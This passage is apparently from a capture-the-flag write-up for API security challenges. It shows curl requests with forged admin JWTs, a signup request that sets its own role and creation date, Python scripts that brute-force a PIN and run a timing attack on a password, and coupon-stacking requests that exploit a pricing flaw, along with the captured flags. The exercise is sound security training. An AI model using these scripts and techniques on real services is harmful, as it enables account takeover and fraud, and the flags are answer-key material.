  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6ImFkbWluQG1hbHRla3NvbHV0aW9ucy5jb20iLCJmaXJzdF9uYW1lIjoiU3lzIiwibGFzdF9uYW1lIjoiQWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJleHBpcmVzIjoxNzE2NDI1NTg2LjU2OTU5OTJ9.LW0jm0L8jgRCRFZQdrSs0X6rZ8QbvNUj4sdMG7G8R7A'
{"data":[{"id":1,"title":"Hello World!","content":"apisec{I_f0und_y3r_4dm1n_p0sts}","author_id":1,"created_time":"2024-05-22 14:59:34","draft":"true"},{"id":50,"title":"whatever","content":"text","author_id":1,"created_time":"2024-05-22 19:57:00","draft":"true"}]}

Flag: apisec{I_f0und_y3r_4dm1n_p0sts}

Bonus Points Challenge

Since I was the 4th team to submit the flag to the creator, I received 70 points.

Within the FastAPI of blogger, we see that there is an /bonus endpoint.

When trying to access this endpoint, we receive an interesting error message.

curl -X 'GET' \
  'https://blogger.chals.ctf.malteksolutions.com/bonus' \
  -H 'accept: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6ImFkbWluQG1hbHRla3NvbHV0aW9ucy5jb20iLCJmaXJzdF9uYW1lIjoiU3lzIiwibGFzdF9uYW1lIjoiQWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJleHBpcmVzIjoxNzE2NDI1NTg2LjU2OTU5OTJ9.LW0jm0L8jgRCRFZQdrSs0X6rZ8QbvNUj4sdMG7G8R7A'
{"error":"This is only available to users who have been registered for more than 2 years."}

Looking back at Role Reversal, we saw the parameter created_time. Let’s sign up another user and add this parameter to the command.

curl -X 'POST' \
  'https://blogger.chals.ctf.malteksolutions.com/signup' \  
  -H 'accept: application/json' \
  -H 'Content-Type: application/json' \
  -d '{                                                                                                      
  "email": "[email protected]",
  "password": "password",
  "first_name": "John",
  "last_name": "Doe",
  "role": "admin",
  "created_time":"2021-05-22 14:59:34"
}'

Sign in to the API to retrieve the user’s token.

curl -X 'POST' \
  'https://blogger.chals.ctf.malteksolutions.com/login' \                                  
  -H 'accept: application/json' \      
  -H 'Content-Type: application/json' \
  -d '{                                                                                                                    
  "email": "[email protected]",        
  "password": "password"
}'
{"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InRlc3RpbmczQHRlc3QuY29tIiwiZmlyc3RfbmFtZSI6IkpvaG4iLCJsYXN0X25hbWUiOiJEb2UiLCJyb2xlIjoiYWRtaW4iLCJleHBpcmVzIjoxNzE2NDI1OTk5LjE3NTE0MTN9.ME7xU_NfygYOumci1Xe-ZTPkyfOd0vK2wgKteHeYvG0"} 

Now, when trying to access the /bonus endpoint, we retrieve the bonus flag.

curl -X 'GET' \ 
  'https://blogger.chals.ctf.malteksolutions.com/bonus' \                                  
  -H 'accept: application/json' \      
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InRlc3RpbmczQHRlc3QuY29tIiwiZmlyc3RfbmFtZSI6IkpvaG4iLCJsYXN0X25hbWUiOiJEb2UiLCJyb2xlIjoiYWRtaW4iLCJleHBpcmVzIjoxNzE2NDI1OTk5LjE3NTE0MTN9.ME7xU_NfygYOumci1Xe-ZTPkyfOd0vK2wgKteHeYvG0'

{"flag":"apisec{i_bU1lt_4_t1m3_m4ch1n3}"}

Flag: apisec{i_bU1lt_4_t1m3_m4ch1n3}


Hoard’s Door

Passcode to the Dark Vault

Points: 75

It seems you found the door to Sauron’s Gold! Can you figure out the Passcode?

Target URL: https://hoards-door-1.chals.ctf.malteksolutions.com

Looking at the home page, there are a /vault endpoint that requires a 4 digit numerical PIN value.

We can bruteforce this PIN value between 0000 and 9999 using a simple Python script and retrieve the flag:

import requests


url = "https://hoards-door-1.chals.ctf.malteksolutions.com/vault"

for pin in range(10000):
    pin_str = f"{pin:04d}"
    payload = {"PIN": pin_str}
    
    try:
        response = requests.post(url, json=payload)
        if "apisec{" in response.text:
            print(f"[+] Correct PIN found: {pin_str}")
            print(f"[+] Response: {response.text}")
            break
    except requests.RequestException as e:
        print(f"[!] Error trying {pin_str}: {e}")

Flag: apisec{th4t_W45_P1n-Cr3d1bl3}

Unlocking Sauron’s Gold

Points: 150

I did not receive points for this challenge as it was solved after the competition concluded.

That first door wasn’t too hard, but can you figure out the next one? Sauron’s Gold is just beyond this door. Target URL: https://hoards-door-2.chals.ctf.malteksolutions.com/

Looking at the home page, we see that there is an /vault endpoint.

We can create a Python script that brute-forces the password for each character. This attack is time-based, so you will need to pay attention to each character being passed and the time it takes for the server to respond.

import requests
import string
import time

url = "https://hoards-door-2.chals.ctf.malteksolutions.com/vault"

password = ""

characters = string.ascii_lowercase + string.ascii_uppercase


while True:
    max_elapsed_time = 0
    base_line_elapsed_time = 0
    best_char = None
    for char in characters:
        data = {"Password": f"{password}{char}"}
        try:
            start_time = time.time()
            response = requests.post(url, json=data)
            end_time = time.time()
            elapsed_time = end_time - start_time
            print(f"Trying password: {password}{char} - Response time: {elapsed_time:.2f} seconds")
            if elapsed_time > max_elapsed_time:
                max_elapsed_time = elapsed_time
                best_char = char
            
            if max_elapsed_time > elapsed_time + .5:
                password += best_char
                print(f"[+] Found Password Character: {password}")
                break


            if "Incorrect Password" not in response.text:
                password += char
                print(f"Password found: {password}")
                print(response.text)
                exit()
        except requests.RequestException as e:
            print(f"Request failed: {e}")
            continue

After letting it run, we see the password OpenSesameand can retrieve the flag.

Flag: apisec{t1me_15_0f_ThE_3ss3nc3}


Uber Orc

Did Someone Order a Flag?

Points: 100

The orcs gotta eat right? Luckily Sauron is always there to help every orc with their dietary needs. And he included coupons! What a guy.

Target URL: https://uber-orc-1.chals.ctf.malteksolutions.com/

Going to the home page, we see a few interesting endpoints.

First, we can view all the restaurants on the API.

curl -X GET https://uber-orc-1.chals.ctf.malteksolutions.com/restaurants
{"0":"Ent in the Box","1":"Orc Hut","2":"GFC","3":"WhataGnome","4":"McSauron's"}

We see there are 5 restaurants within the API.

After looking at the menu for each restaurant, we see the GFC (ID 2) has an Flag item in the menu.

curl -X GET -s https://uber-orc-1.chals.ctf.malteksolutions.com/restaurant/2/menu | jq

We can look at all the coupons within the API and see that there is a $2 coupon on the 20th hour.

. Since the Flag costs $999, it’s safe to assume that we will need this coupon.

curl -X GET -s https://uber-orc-1.chals.ctf.malteksolutions.com/coupons/20 | jq

After trying to order something with this coupon, we see that $2 gets removed from the total.

curl -X POST -s https://uber-orc-1.chals.ctf.malteksolutions.com/restaurant/2/order -H "Content-Type: application/json" -d '{"Time":20,"Menu_Items":"5","Coupons":"3"}' | jq

If we add a comma in the coupons and add another 3, we see that $4 gets removed from the total.

curl -X POST -s https://uber-orc-1.chals.ctf.malteksolutions.com/restaurant/2/order -H "Content-Type: application/json" -d '{"Time":20,"Menu_Items":"5","Coupons":"3,3"}' | jq

After putting 500 3’s into the command, we retrieve the flag.

curl -X POST -s https://uber-orc-1.chals.ctf.malteksolutions.com/restaurant/2/order -H "Content-Type: application/json" -d '{"Time":20,"Menu_Items":"5","Coupons":"3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3"}'

Flag: {p3rh4ps_y0u_sh0uld_c0ns1d3r_4_w4ll3t}

This is Why We Can’t Have Nice Things

Points: 150

I did not receive points for this challenge as it was solved after the competition concluded.

Apparently someone found a way to abuse the coupon system. Now we’re limited to one coupon per customer. Thanks a lot, jerks.

Target URL: https://uber-orc-2.chals.ctf.malteksolutions.com/

Looking at all the different restaurants’ menus, we see that there is an Flag item.

curl -X GET https://uber-orc-2.chals.ctf.malteksolutions.com/restaurant/4/menu -s | jq

After looking through all the coupons, we see that hour 12 has the $2 coupon.

curl -X GET https://uber-orc-2.chals.ctf.malteksolutions.com/coupons/12 -s | jq

When using the coupon, the total decreases by $2.

curl -X POST -s https://uber-orc-2.chals.ctf.malteksolutions.com/restaurant/4/order -H "Content-Type: application/json" -d '{"Time":12,"Menu_Items":"7","Coupon":"2"}' | jq

However, when trying to add a comma and another 2 in the Coupon parameter, we receive an error message.

curl -X POST -s https://uber-orc-2.chals.ctf.malteksolutions.com/restaurant/4/order -H "Content-Type: application/json" -d '{"Time":12,"Menu_Items":"7","Coupon":"2,2"}' | jq

Removing the comma, we see that $4 gets removed from the total, resulting in an improper check on the backend.

curl -X POST -s https://uber-orc-2.chals.ctf.malteksolutions.com/restaurant/4/order -H "Content-Type: application/json" -d '{"Time":12,"Menu_Items":"7","Coupon":"22"}' | jq

Sending 500 2’s in the Coupon parameter, we can retrieve the flag.

curl -X POST -s https://uber-orc-2.chals.ctf.malteksolutions.com/restaurant/4/order -H "Content-Type: application/json" -d '{"Time":12,"Menu_Items":"7","Coupon":"22222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222"}' | jq

Flag: apisec{t0o_ManY_c0UpoN5}